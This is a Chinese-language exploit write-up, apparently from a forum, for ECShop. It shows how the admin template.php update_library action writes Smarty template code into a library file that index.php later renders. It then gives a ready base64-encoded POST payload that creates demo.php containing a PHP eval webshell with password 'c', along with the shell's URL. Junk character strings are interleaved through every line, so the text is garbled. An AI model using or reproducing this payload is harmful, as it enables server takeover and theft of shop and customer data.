首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板7 m5 Q( _/ h0 n( m/ B" [
- ^ n6 e/ w% k8 U1 ?而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了8 F9 g6 }3 C$ g& s, u h3 F
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
" _7 L. E' V) C, s: ?' B/ a0 vadmin/template.php+ }: b/ Y3 r' R
3 w+ T3 S r) E8 }4 r3 M/ V, W
1 if ($_REQUEST['act'] == 'update_library')
9 W9 Q' H3 _: X% n% H/ e- l
) L1 T/ _+ h$ s& g+ D9 O1 V2 - G% g# Q2 R G, B5 {2 e
1 J a! T8 g; d; C9 y3 {
+ A" k2 _# _+ l& k
. u- L c D+ @, z0 T) X4 check_authz_json('library_manage'); ; U, F, B1 C, m0 Y" _, T* e) c9 y
- B) E- @; y' e* J) o2 B* d5
! r" `, q$ L; k- F: d' l* n# V2 R, A( g$ P# k2 {' V$ p0 f
6 $html = stripslashes(json_str_iconv($_POST['html']));
. I' e. l/ b+ n8 ^" H8 V
% T6 h) n( d) q8 Q7 M1 N4 T6 g7 7 m& p( [6 j" Y( M @
$ l& t# A4 U2 {2 ]# }+ u
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. m2 Z# L; r* |$ @4 o! a0 }3 \. Q4 `) S2 Q2 c" k* c
9
H$ i* ?* A! Z [" ^& o
8 w* L9 i2 o& X. o T10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
% s! y$ `+ S* r' M# M& B9 e" G4 E) _* d3 y1 o4 t& }: @( k% L
11 # [& x$ S" P) G* X( t2 l$ `# g
! ?6 k5 v5 ^6 C* F! Q$ a* u
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
* q s7 c f' t1 y# k: T
& F" ]9 B( A$ h! k7 M3 J$ g13
, S0 w% g0 w( @$ i# ~7 `9 I( I" E. \2 x. x6 k! Z$ A
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
9 X- S9 \' M0 @3 ^, W
8 D* p8 K7 E+ M0 `# @6 m15 { # B, D: u8 V% ~# b u- g$ |
! ^3 x8 m) H4 g& k16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
2 W( D' U4 j' q0 I
, u2 E; m2 ?+ A! `" e; n17 make_json_result('', $_LANG['update_lib_success']);
2 i( Y3 [5 s; Z c; U
9 C1 U: \9 [1 @4 y; n) W18 } 3 e7 f, L+ O0 S. B
1 X2 B, Z$ L, B5 `9 W: @19 else : Z# X [* j+ p9 H4 O! I/ q G
( V% Q' E0 ^6 u1 w5 R3 O
20 {
/ |9 g* b1 R+ y6 u7 i; i% O
# e ^3 H" _4 r* r) S% L21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); " K1 e5 V0 R/ N
8 L, B& }& _5 |- ?+ M+ u+ m
22 } & Y& Q/ D+ s m2 a: v
1 n: `( F) R, b( z0 |
23 }
0 a2 T6 N: A. z8 l6 @) q" ?) f
) @9 ?2 w, ?; M; P$ B. l, k那么找个比较方便调用了模板的文件0 d8 V; T1 G( L: A! N+ v2 b
index.php: B8 C* g; k( d# t9 A- t$ `: w
% y# R* Z0 t5 e# Z' H4 Y: q: Y4 ~7 v1 if ($act == 'cat_rec') 6 O/ \1 \; a3 L ?7 e2 u
$ b- q; Z9 {6 Z5 ^2
: j; q4 x. c% W- E9 ~# T+ u9 \4 T5 p. d5 K- q
3 {
1 | C6 a8 ~( _! Q) ]- l( h3 P" f
4 % N* b$ Z. _2 X- k
$ d' Q% O1 L( E: M" u6 _
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
; v* l1 F6 x2 r/ i5 Q4 F
$ W/ g) j- _: u" p ~% b% K* q( x" @6
5 L, l0 D/ ^/ R& X; v- |0 w& U( Q5 X: [" e
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
) p. A7 q3 p: X9 A" B% P4 J0 A2 S8 U! w2 d3 h# w
8
0 b `' Y" \, L) O" P; V7 \& l1 S" H. c7 C
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; , Y+ l% K2 v( x4 v
+ b+ }, o$ C+ m4 k$ ^$ e
10
; l! W# s; D5 S/ e4 O
; B( c$ D9 w" u9 |$ B; C11 include_once('includes/cls_json.php');
1 {0 v& `9 }( s; R# } ?* `/ q# U1 [9 g
12
+ Y4 f" l, }: H! v: T$ g9 P
; D% }+ w6 V& E) y13 $json = new JSON; 8 D# R9 A! B! W& { B
5 z: f! @) w* p2 W: J
14
# K) x7 B- C8 j
8 H7 c* E7 D. c0 _15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); # Y% n) B* t2 m6 U
% I4 C* r2 @9 }) Z9 K
16 7 P6 [' K! v* d
P& B9 E6 P" R! U) {& y+ F' W9 S e6 C
17 $children = get_children($cat_id);
4 v% U t5 F) u& l; u9 R* j, k j, z- v& H; f% v
18 # y: {1 ?. d- R' n/ [) B$ _
) W4 J! V8 n# b# L6 H/ ?1 `0 m0 a
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
& N$ I$ G7 Y) w0 O$ |; |% }# ^# `
20
1 m; B1 ~3 W- U7 m' d
( b0 P" G6 N4 X2 Q t21 $smarty->assign('cat_rec_sign', 1);
! {8 g! \- f; l3 m# P9 O/ F% V0 [& W0 p; ^ E5 M
22 2 w" s; O [7 }$ ~7 E8 s. l
. E f& S9 w5 S/ y1 l& W* K23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
9 j" f1 j" `$ {! r4 q
) ^9 t; i8 d+ U/ p24
6 e2 Q8 B+ D' p3 \
4 Q% Z* X1 ^1 W* k25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
/ n" v& k& c$ Y7 o
" t+ y. R- j: \1 u( [& F26 : x' `! b2 l* g' N- o
2 K0 W# W3 N9 V: B27 echo $rec_array[$rec_type];
0 p& l) N" e$ c+ F( {# E4 R
Q0 ]+ y! Z& l28 # ?" ?1 S5 i9 g
. V( N1 ~: G& o I* r29 die($json->encode($result));
9 y" j* }4 J$ [$ i! s& j, x* ?8 q: e! o
30
+ `+ ] `! o0 N+ e
" t) S6 \1 w! D6 l3 i/ p* P+ I31 } 1 t( b/ J9 D% a, @
" O* Y0 a/ F( S0 N; z那么就有利用方法了
' a# u% y+ h& x6 opost包到http://localhost/ec/admin/template.php?act=update_library% A" n9 D9 ]. v
Post内容:
; m' b# v* p3 k2 c- ?6 T
7 P* M; I; n) n4 ?
2 e# P0 z1 X% o: a1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
) }5 X+ R- x; u9 h* D3 n# e" G
然后访问http://localhost/ec/index.php?act=cat_rec
4 ?" ]2 @) P5 A# u
8 V5 m9 X0 f7 g) K' K/ J% J: wshel地址:http://localhost/ec/demo.php
4 P, w2 d& _, r( S8 v: x密码c9 M8 V: J* w1 V: N
) x5 a9 F2 f0 |" g( J% c+ p
|